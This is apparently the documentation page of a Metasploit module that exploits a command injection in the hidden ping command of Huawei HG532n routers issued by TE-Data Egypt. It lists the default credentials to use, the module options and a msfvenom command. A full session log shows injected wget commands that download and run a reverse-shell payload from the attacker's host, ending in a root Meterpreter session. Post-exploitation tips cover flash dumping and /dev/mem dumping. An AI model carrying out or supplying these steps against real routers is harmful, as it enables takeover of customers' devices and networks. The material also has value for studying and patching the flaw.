# HG532n Command Injection Exploit

## Introduction

The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command
injection exploit in the hidden ping command of their limited shell interface.

Affected hardware/software version strings:

```
   Manufacturer: Huawei Technologies Co., Ltd.
   Product Style: HG532n
   SN: B7J7SB9381703791
   IP: 192.168.1.1
   Hardware Version: HG532EAM1HG530ERRAMVER.B
   Software Version: V100R001C105B016 TEDATA
```

TE-Data, the incumbent ISP operator in Egypt, provided this router to customers
by default. The web interface has two kinds of logins, a "limited" user:user login
given to all customers, and an admin mode used by company's technical staff. For
hosts within the ISP network, this web interface is remotely accessible.

The web interface's user mode provides very limited functionality – only WIFI
passwords change and NAT port-forwarding. Nonetheless by port forwarding the
router's own (filtered) telnet port, it becomes remotely accessible. All installed
routers have a telnet password of admin:admin.

Due to the ISP's _encrypted_ runtime router configuration [*] though, the telnet
daemon does not provide a direct linux shell. Rather a very limited custom shell
is provided instead: "ATP command line tool". The limited shell has a ping command
which falls back to the system shell though (`ping %s > /var/res_ping`). We exploit
that through command injection to gain Meterpreter root access.

[*] `<X_ServiceManage TelnetEnable="1" ConsoleEnable="" ../>` at `/etc/defaultcfg.xml`

## Usage

With an attacker node that resides within the ISP network, do:

- Set `payload` to `linux/mipsbe/meterpreter_reverse_tcp`

- Set `RHOST` to the target router's IP

- Set `SRVHOST` to your local machine's __external__ IP. The module starts its
  own HTTP server; this is the IP the exploit will use to fetch the MIPSBE
  payload from, through an injected `wget` command. Make sure this address is
  accessible from outside.

- Set `SRVPORT` to the desired local HTTP server port number. Make sure this
  port is accessible from outside.

- Set `LHOST` to your machine's __external__ IP address. A successful Reverse
  TCP payload will ring us back to this IP.

- Set `LPORT` to an arbitrary port number that is accessible from outside
  networks. Metasploit will open a listener on that port and wait for the
  payload to connect back to us.

- Set `VERBOSE` to `true` if you want to see much more verbose output (Detailed
  injected telnet commands output).

TE-Data firmware ships with the `user:user` login credentials by default.
They offer limited functionality, but they are enough for our purposes.
In case you want want to change these, set `HttpUsername` and `HttpPassword`
appropriately.

Now everything should be ready to run the exploit. Enjoy your Meterpreter
session :-)

Alternatively, you can avoid hosting the payload executable from within the
module's own HTTP server and host it externally. To do so, first generate
the payload ELF executable using `msfvenom`:

```
$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/meterpreter/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444

No encoder or badchars specified, outputting raw payload
Payload size: 212 bytes
Final size of elf file: 296 bytes
Saved as: payload.elf
```

Then host the `payload.elf` file on an external, direct-access, web
server. Afterwards set `DOWNHOST` to the external server's IP address
and `DOWNFIILE` to the payload's path on that server. Run the exploit
afterwards.


## Live Scenario (Verbose)

```
$ msfconsole
msf > use exploit/linux/http/huawei_hg532n_cmdinject

msf exploit(huawei_hg532n_cmdinject) > set RHOST 197.38.98.11
RHOST => 197.38.98.11

msf exploit(huawei_hg532n_cmdinject) > set SRVHOST 41.34.32.121
SRVHOST => 41.34.32.121

msf exploit(huawei_hg532n_cmdinject) > set LHOST 41.34.32.121
LHOST => 41.34.32.121

msf exploit(huawei_hg532n_cmdinject) > set VERBOSE true
VERBOSE => true

msf exploit(huawei_hg532n_cmdinject) > exploit
[*] Exploit running as background job.
msf exploit(huawei_hg532n_cmdinject) >
[-] Handler failed to bind to 41.34.32.121:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Validating router's HTTP server (197.38.98.11:80) signature
[+] Good. Router seems to be a vulnerable HG532n device
[+] Telnet port forwarding succeeded; exposted telnet port = 33552
[*] Connecting to just-exposed telnet port 33552
[+] Connection succeeded. Passing telnet credentials
[*] Received new reply token = '����
Password:'
[*] Received new reply token = 'Password:'
[+] Credentials passed; waiting for prompt 'HG520b>'
[*] Received new reply token = 'HG520b>'
[+] Prompt received. Telnet access fully granted!
[*] Starting web server; hostinig /MDGuEPiUDBRXD
[*] Using URL: http://0.0.0.0:8080/MDGuEPiUDBRXD
[*] Local IP: http://192.168.1.3:8080/MDGuEPiUDBRXD
[*] Runninig command on target: wget -g -v -l /tmp/zjtmztfz -r /MDGuEPiUDBRXD -P8080 41.34.32.121
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;wget${IFS}-g${IFS}-v${IFS}-l${IFS}/tmp/zjtmztfz${IFS}-r${IFS}/MDGuEPiUDBRXD${IFS}-P8080${IFS}41.34.32.121;true'
[*] Received new reply token = 'ping: bad address '?''
[+] HTTP server received request. Sending payload to victim
[*] Received new reply token = 'The IP is [41.34.32.121]'
[*] Received new reply token = 'Success
ping result:
HG520b>'
[+] Command executed successfully
[*] Runninig command on target: chmod 777 /tmp/zjtmztfz
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;chmod${IFS}777${IFS}/tmp/zjtmztfz;trueping: bad address '?'

Success
ping result:
HG520b>'
[+] Command executed successfully
[*] Runninig command on target: /tmp/zjtmztfz
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;/tmp/zjtmztfz&trueping: bad address '?'

Success
ping result:
HG520b>'
[+] Command executed successfully
[*] Runninig command on target: rm /tmp/zjtmztfz
[*] Received new reply token = 'p'
[*] Received new reply token = 'ing ?;rm${IFS}/tmp/zjtmztfz;trueping: bad address '?'

Success
ping result:
HG520b>'
[+] Command executed successfully
[*] Waiting for the payload to connect back ..
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 197.38.98.11:50097) at 2017-04-15 16:45:05 +0200
[+] Payload connected!
[*] Server stopped.

msf exploit(huawei_hg532n_cmdinject) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 192.168.1.1
OS           :  (Linux 2.6.21.5)
Architecture : mips
Meterpreter  : mipsbe/linux
meterpreter >
```

## Post-exploitation

### MIPS toolchain

Beside a basic meterpreter shell, you can compile your own C programs and
run them on the device! Download the [Sourcery CodeBench Lite](https://sourcery.mentor.com/GNUToolchain/package13838/public/mips-linux-gnu/mips-2016.05-8-mips-linux-gnu-i686-pc-linux-gnu.tar.bz2)
MIPS toolchain then compile your programs in the following manner:


```
#!/bin/bash

TOOLCHAIN_ROOT=mips-2016.05
CROSS_COMPILE=$TOOLCHAIN_ROOT/bin/mips-linux-gnu-

${CROSS_COMPILE}gcc                                                     \
                --sysroot=${TOOLCHAIN_ROOT}/mips-linux-gnu/libc/uclibc/ \
                -Wl,-dynamic-linker,/lib/ld-uClibc.so.0                 \
                -static                                                 \
                program.c

${CROSS_COMPILE}strip -s a.out -o payload
```

Then call `wget` to download and run the generated `payload` above. Be careful
of the device's own wget call conventions below.

### A special wget command

Huawei crafted their own `wget` implementation inside the shipped version of
busybox. It has the following syntax:


```
meterpreter > shell
Process 17951 created.
Channel 1 created.
wget -h
wget: invalid option -- h
BusyBox vv1.9.1 (2012-10-16 22:24:47 CST) multi-call binary

Usage: wget [OPTION]... HOST

wget download and upload a file via HTTP

Options:
	-g    Download
	-s    Upload
	-v    Verbose
	-u    Username to be used
	-p    Password to be used
	-l    Local file path
	-r    Remote file path
	-P    Port to be used, optional
	-B    Bind local ip, optional
	-A    Remote resolved ip, optional
	-b    Transfer start position
	-e    Transfer length
	-m    Max transfer size
	-c    Compress downloaded file
```

### Rootfs image

Extract `/dev/mtdblock[0123]` images from the device to gain full raw access to
the flash. Use [binwalk](https://github.com/devttys0/binwalk) on the extracted
`/dev/mtdblock3` contents to get a full squashfs rootfs image.

The most important files in the rootfs image are encrypted though. Nonetheless,
by dumping `/dev/mem` contents and looking for the juicy bits, you will find
all the necessary information needed ;-)

Note that even after configuration decryption, all the now-plaintext important
configuration files store passwords in a SHA-256 hashed form. Be creative.
